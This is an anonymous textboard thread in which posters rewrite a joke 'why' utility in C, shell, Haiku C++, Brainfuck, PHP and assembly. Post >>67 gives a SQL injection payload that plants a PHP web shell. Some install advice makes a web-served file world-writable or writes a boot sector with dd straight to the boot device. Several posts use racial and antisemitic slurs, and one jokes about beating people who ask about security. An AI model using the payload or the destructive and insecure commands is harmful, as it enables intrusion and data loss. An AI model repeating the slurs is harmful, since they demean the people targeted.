Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Utility I wrote for GNU+Linux

Name: Anonymous 2012-02-13 3:19

It's a small utility like cat or sed that can be used on Linux systems. It's called why. Licensed under the GPLv3 (or later).

Here is the code (save it in `why.c'):
#include <stdio.h>

void main()
{
printf("Fuck you, that's why.\n");

}


Install with:
gcc -o why why.c ;sudo cp ./why /bin/why

Name: Anonymous 2012-02-17 0:49

>>40
GPL code assigns the copyright to the FSF (meaning RMS).

Name: Anonymous 2012-02-17 11:26

>>40 The legal concept of ``public domain'' does not apply worldwide, you amerifag.

Name: Anonymous 2012-06-03 16:28

Is this project still active?

Name: Anonymous 2012-06-03 16:38

>>40
Except without any proof that you're the author, someone else can potentially claim authorship over the code and threaten the user community.

Name: Anonymous 2012-06-03 16:59

>>44
Without DNA evidence, that's not going to stand up in court.

Name: Anonymous 2012-06-03 17:24

tempfile=`mktemp -t why`
if [ $? -ne 0 ]
then
  echo "Fix your shit!" >&2
  exit 1
fi
echo "#/usr/bin/sed 1d\necho Fuck you, that's why." > $tempfile
sudo install $tempfile /usr/local/bin/why
rm $tempfile

Name: Anonymous 2012-06-03 17:40

A fatal error occured!
You didn't write a post?!

Name: Anonymous 2012-06-03 18:32

im not good with the CLI can I have an rpm?

Name: Anonymous 2012-06-03 20:56

>>46
if [ $? -ne 0 ]
What does this do?

Name: Anonymous 2012-06-03 21:31

>>28
All identifiers that begin with an underscore followed by an upper case letter are always reserved for any use by the implementation. You are violating the standard with the names on your enums.

See section 7.1.3 Reserved identifiers in ISO/IEC 9899:TC2 for details.

Name: Anonymous 2012-06-03 22:06

>>49
$? is a magic variable containing the return value of the last finished process (in this case mktemp). Read your man pages.

Name: Anonymous 2012-06-03 22:13

>>50
M$ does it.

Name: Anonymous 2012-06-03 22:54

>>52
Most people who drive on highways drive over the speed limit. That does not change the speed limit. Similarly, Microsoft violating the C standard does not invalidate the C standard.

Name: Anonymous 2012-06-03 23:03

>>53
yeah, but you might get rear ended when driving the speed limit in a place where everyone goes 30 mph above it. Of course, the highway patrol would be all over that. But there isn't a C standard police force, going door to door in business parks, handing out tickets to developers writing code that doesn't follow the standard.

Name: Anonymous 2012-06-03 23:17

>>54
Consider yourself cited for obstruction of standards compliance, developer.

Name: Anonymous 2012-06-03 23:28

>>38
Too primitive.

#include <Application.h>
#include <Alert.h>
#include <stdio.h>

class WhyHaiku : public BApplication
{
    public:
    WhyHaiku() : BApplication("application/why-haiku")
    {
    }

    void ReadyToRun()
    {
        BAlert* why_alert = new BAlert("Why?", "Fuck you, that's why.",
                "Okay :(", NULL, NULL, B_WIDTH_AS_USUAL, B_OFFSET_SPACING);
        why_alert->Go();
        this->PostMessage(B_QUIT_REQUESTED);
    }
};

int main(void)
{
    WhyHaiku app;

    app.Run();

    return 0;
}

Name: Anonymous 2012-06-03 23:49

>>56
Is this some M$ C derivative? I seriously can't tell what this is supposed to be.

Name: fag 2012-06-04 1:02

needs more lcurses

Name: Anonymous 2012-06-04 1:29

int puts(const char *s);

int main(void)
{
    return puts("Fuck you, that's why.") < 0;
}

Name: Anonymous 2012-06-04 5:36

Brainfuck:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<<<<.>>>>>>++++++++++++++++++++++++++++++++++++++++++++.<<<.>>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<.>>>+++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<<<<<<<.>>>>>>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<<<.>>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>++++++++++++++++++++++++++++++++++++++++++++++.

Name: Anonymous 2012-06-04 5:40

nigger

Name: Anonymous 2012-06-04 11:16

>>57
It's fairly obvious that the language is C++. Judging from all the 'B's and the Haiku names, I'm assuming it's written for Haiku

Name: Anonymous 2012-06-04 16:00

>>62
I don't know anything about Haiku, it just reminds me of CLR C++ to an eerie degree.

Name: Anonymous 2012-06-04 16:05

>>63
How is that code related to CLR?

Name: Anonymous 2012-06-04 16:12

I need a webapp of this.

Name: Anonymous 2012-06-04 16:23

>>65
<html><head><title>Why.php</title><body><?php echo "Fuck you, that's why."; ?></body></html>
Install with cp why.php /var/www/why.php; chmod +rwxrwxrwx /var/www/why.php

Name: Anonymous 2012-06-04 17:16

>>66

vulnerable:

?id=bob’; ATTACH DATABASE ‘/var/www/why.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;--

Name: Anonymous 2012-06-04 17:41

Behold! The long-awaited bootsector version:
[bits    16]
[org    0x7c00]
main:    mov    si,    why
    .write:    lodsb
        cmp    al,    0
        je    halt
        mov    ah,    0x0e
        int    0x10
        jmp    .write
halt:    cli
    hlt
    jmp    halt
why:            db    "Fuck you, that's why", 13, 10, 0
times    510 - ($ - $$)    db    0
            dw    0xaa55

Name: Anonymous 2012-06-04 17:41

>>68
>jews reindented my code

Name: Anonymous 2012-06-04 18:27

Linux x86 assembly version (for nasm):

section .data
txt: db "Fuck you, that's why.", 0ah
len: equ $-txt
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, txt
mov edx, len
int 80h
mov eax, 1
mov ebx, 0
int 80h

Building:
nasm -f elf why.asm
ld why.o -o why --dynamic-linker=/lib/ld-linux.so.2 -melf_i386

Name: Anonymous 2012-06-04 18:47

>>68,70
Now make a MIPS version and stop slaving for the kikes.

Name: Anonymous 2012-06-04 19:30

>>71
Yeah, slaving for Sandeep is so much better.

Name: Anonymous 2012-06-04 23:56

>>71
>implying x86 isn't better than your goyish mips bullshit

Name: Anonymous 2012-06-05 10:59

>>68
Forgot installation instructions.
1. Save to why86.asm
2. nasm -f bin -o why86.bin why86.asm
3. dd if=why86.bin of=${device} bs=512 count=1
where ${device} is the boot device.

Name: Anonymous 2012-06-05 11:02

>>74
that overwrites the partition table too, fucktard

Name: Anonymous 2012-06-05 11:13

>>19,36,66
chmod +rwxrwxrwx
not chmod a+rwx
neither chmod 777

also installing on /usr/bin with universal write permission

i love this board

Name: Anonymous 2012-06-05 11:14

>>75
OVERWRITE MY DUBS

Name: Anonymous 2012-06-05 16:30

You guys are arguing over what is basically a "Hello World" program written in C. It just goes to show how clumsy C is, when you can argue so much about basically nothing.

Name: Anonymous 2012-06-05 17:37

>>75
>he has a partition table

Name: Anonymous 2012-06-05 19:56

>>76
Fuck off with your security bullshit. Know how we kept our shit secure back in the day? We popped motherfuckers like you in the head with a bat for asking too many god damn questions about security.

If the software world were more violent there wouldn't be any of this hacker nonsense.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List